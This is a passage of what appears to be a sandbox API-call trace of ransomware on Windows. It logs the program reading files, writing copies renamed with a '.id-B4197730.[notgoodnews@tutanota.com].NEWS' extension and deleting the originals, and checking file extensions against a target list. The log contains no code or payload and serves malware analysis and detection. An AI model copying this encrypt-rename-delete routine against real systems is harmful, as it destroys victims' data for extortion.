(lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0064.857] GetLastError () returned 0x0 [0064.857] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x9882, lpOverlapped=0x0) returned 1 [0064.859] WriteFile (in: hFile=0x2c4, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x9890, lpOverlapped=0x0) returned 1 [0064.860] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.860] WriteFile (in: hFile=0x2c4, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xe8, lpOverlapped=0x0) returned 1 [0064.860] SetEndOfFile (hFile=0x2c4) returned 1 [0064.861] CloseHandle (hObject=0x2c4) returned 1 [0064.863] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.863] SetEndOfFile (hFile=0x338) returned 1 [0064.864] CloseHandle (hObject=0x338) returned 1 [0064.864] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.864] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1 [0064.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0064.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0064.865] lstrlenW (lpString=".doc") returned 4 [0064.865] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.865] lstrlenW (lpString=".docx") returned 5 [0064.865] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0064.865] lstrlenW (lpString=".pdf") returned 4 [0064.865] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.865] lstrlenW (lpString=".xls") returned 4 [0064.865] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.865] lstrlenW (lpString=".xlsx") returned 5 [0064.865] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0064.865] lstrlenW (lpString=".ppt") returned 4 [0064.865] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0064.865] lstrlenW (lpString=".zip") returned 4 [0064.865] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.865] lstrlenW (lpString=".rar") returned 4 [0064.865] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.865] lstrlenW (lpString=".bz2") returned 4 [0064.865] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.865] lstrlenW (lpString=".7z") returned 3 [0064.865] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0064.865] lstrlenW (lpString=".dbf") returned 4 [0064.865] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0064.865] lstrlenW (lpString=".1cd") returned 4 [0064.865] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0064.866] lstrlenW (lpString=".jpg") returned 4 [0064.866] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0064.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0064.866] lstrlenW (lpString=".doc") returned 4 [0064.866] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.866] lstrlenW (lpString=".docx") returned 5 [0064.866] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0064.866] lstrlenW (lpString=".pdf") returned 4 [0064.866] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.866] lstrlenW (lpString=".xls") returned 4 [0064.866] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.866] lstrlenW (lpString=".xlsx") returned 5 [0064.866] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0064.866] lstrlenW (lpString=".ppt") returned 4 [0064.866] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0064.866] lstrlenW (lpString=".zip") returned 4 [0064.866] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.866] lstrlenW (lpString=".rar") returned 4 [0064.866] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.866] lstrlenW (lpString=".bz2") returned 4 [0064.866] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.866] lstrlenW (lpString=".7z") returned 3 [0064.866] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0064.866] lstrlenW (lpString=".dbf") returned 4 [0064.866] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0064.866] lstrlenW (lpString=".1cd") returned 4 [0064.866] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0064.867] lstrlenW (lpString=".jpg") returned 4 [0064.867] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.867] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0064.867] lstrlenW (lpString="DHtmlHeader.html") returned 16 [0064.867] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.867] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=16118) returned 1 [0064.867] CloseHandle (hObject=0x338) returned 1 [0064.867] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0064.868] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.868] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.868] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.868] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.868] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0064.868] GetLastError () returned 0x0 [0064.868] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x3ef6, lpOverlapped=0x0) returned 1 [0064.870] WriteFile (in: hFile=0x2c4, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x3f00, lpOverlapped=0x0) returned 1 [0064.871] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.871] WriteFile (in: hFile=0x2c4, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xf4, lpOverlapped=0x0) returned 1 [0064.871] SetEndOfFile (hFile=0x2c4) returned 1 [0064.872] CloseHandle (hObject=0x2c4) returned 1 [0064.873] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.873] SetEndOfFile (hFile=0x338) returned 1 [0064.874] CloseHandle (hObject=0x338) returned 1 [0064.874] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.874] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1 [0064.874] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0064.874] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0064.874] lstrlenW (lpString=".doc") returned 4 [0064.874] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0064.874] lstrlenW (lpString=".docx") returned 5 [0064.874] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0064.875] lstrlenW (lpString=".pdf") returned 4 [0064.875] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0064.875] lstrlenW (lpString=".xls") returned 4 [0064.875] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0064.875] lstrlenW (lpString=".xlsx") returned 5 [0064.875] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0064.875] lstrlenW (lpString=".ppt") returned 4 [0064.875] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0064.875] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0064.875] lstrlenW (lpString=".zip") returned 4 [0064.875] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0064.875] lstrlenW (lpString=".rar") returned 4 [0064.875] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0064.875] lstrlenW (lpString=".bz2") returned 4 [0064.875] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0064.875] lstrlenW (lpString=".7z") returned 3 [0064.875] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0064.875] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0064.875] lstrlenW (lpString=".dbf") returned 4 [0064.875] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0064.875] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0064.875] lstrlenW (lpString=".1cd") returned 4 [0064.875] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0064.875] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0064.875] lstrlenW (lpString=".jpg") returned 4 [0064.875] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0064.875] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0064.875] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0064.875] lstrlenW (lpString=".doc") returned 4 [0064.875] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0064.875] lstrlenW (lpString=".docx") returned 5 [0064.875] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0064.875] lstrlenW (lpString=".pdf") returned 4 [0064.875] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0064.875] lstrlenW (lpString=".xls") returned 4 [0064.876] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0064.876] lstrlenW (lpString=".xlsx") returned 5 [0064.876] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0064.876] lstrlenW (lpString=".ppt") returned 4 [0064.876] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0064.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0064.876] lstrlenW (lpString=".zip") returned 4 [0064.876] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0064.876] lstrlenW (lpString=".rar") returned 4 [0064.876] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0064.876] lstrlenW (lpString=".bz2") returned 4 [0064.876] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0064.876] lstrlenW (lpString=".7z") returned 3 [0064.876] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0064.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0064.876] lstrlenW (lpString=".dbf") returned 4 [0064.876] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0064.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0064.876] lstrlenW (lpString=".1cd") returned 4 [0064.876] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0064.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0064.876] lstrlenW (lpString=".jpg") returned 4 [0064.876] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0064.876] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0064.876] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0064.876] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.877] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=93314) returned 1 [0064.877] CloseHandle (hObject=0x338) returned 1 [0064.877] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0064.877] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.877] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.877] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.877] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.877] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0064.877] GetLastError () returned 0x0 [0064.877] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x16c82, lpOverlapped=0x0) returned 1 [0065.307] WriteFile (in: hFile=0x2c4, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x16c90, lpOverlapped=0x0) returned 1 [0065.310] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.310] WriteFile (in: hFile=0x2c4, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xf6, lpOverlapped=0x0) returned 1 [0065.310] SetEndOfFile (hFile=0x2c4) returned 1 [0065.310] CloseHandle (hObject=0x2c4) returned 1 [0065.313] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.313] SetEndOfFile (hFile=0x338) returned 1 [0065.315] CloseHandle (hObject=0x338) returned 1 [0065.315] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.315] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1 [0065.316] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0065.316] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0065.316] lstrlenW (lpString=".doc") returned 4 [0065.316] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.316] lstrlenW (lpString=".docx") returned 5 [0065.316] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0065.316] lstrlenW (lpString=".pdf") returned 4 [0065.316] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.316] lstrlenW (lpString=".xls") returned 4 [0065.316] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.316] lstrlenW (lpString=".xlsx") returned 5 [0065.316] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0065.316] lstrlenW (lpString=".ppt") returned 4 [0065.316] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.316] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0065.316] lstrlenW (lpString=".zip") returned 4 [0065.316] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.316] lstrlenW (lpString=".rar") returned 4 [0065.316] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.316] lstrlenW (lpString=".bz2") returned 4 [0065.316] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.316] lstrlenW (lpString=".7z") returned 3 [0065.317] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0065.317] lstrlenW (lpString=".dbf") returned 4 [0065.317] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0065.317] lstrlenW (lpString=".1cd") returned 4 [0065.317] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0065.317] lstrlenW (lpString=".jpg") returned 4 [0065.317] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0065.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0065.317] lstrlenW (lpString=".doc") returned 4 [0065.317] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.317] lstrlenW (lpString=".docx") returned 5 [0065.317] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0065.317] lstrlenW (lpString=".pdf") returned 4 [0065.317] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.317] lstrlenW (lpString=".xls") returned 4 [0065.317] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.317] lstrlenW (lpString=".xlsx") returned 5 [0065.317] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0065.317] lstrlenW (lpString=".ppt") returned 4 [0065.317] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0065.317] lstrlenW (lpString=".zip") returned 4 [0065.317] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.318] lstrlenW (lpString=".rar") returned 4 [0065.318] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.318] lstrlenW (lpString=".bz2") returned 4 [0065.318] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.318] lstrlenW (lpString=".7z") returned 3 [0065.318] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0065.318] lstrlenW (lpString=".dbf") returned 4 [0065.318] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0065.318] lstrlenW (lpString=".1cd") returned 4 [0065.318] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0065.318] lstrlenW (lpString=".jpg") returned 4 [0065.318] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.318] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0065.318] lstrlenW (lpString="UiInfo.xml") returned 10 [0065.318] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0065.319] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=38898) returned 1 [0065.319] CloseHandle (hObject=0x338) returned 1 [0065.319] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0065.319] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.319] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0065.319] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.319] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.319] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0065.320] GetLastError () returned 0x0 [0065.320] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x97f2, lpOverlapped=0x0) returned 1 [0065.323] WriteFile (in: hFile=0x2c4, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x9800, lpOverlapped=0x0) returned 1 [0065.325] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.325] WriteFile (in: hFile=0x2c4, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xe8, lpOverlapped=0x0) returned 1 [0065.325] SetEndOfFile (hFile=0x2c4) returned 1 [0065.325] CloseHandle (hObject=0x2c4) returned 1 [0065.327] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.327] SetEndOfFile (hFile=0x338) returned 1 [0065.328] CloseHandle (hObject=0x338) returned 1 [0065.328] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.328] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1 [0065.329] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0065.329] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0065.329] lstrlenW (lpString=".doc") returned 4 [0065.329] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.329] lstrlenW (lpString=".docx") returned 5 [0065.329] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0065.329] lstrlenW (lpString=".pdf") returned 4 [0065.329] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.329] lstrlenW (lpString=".xls") returned 4 [0065.329] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.329] 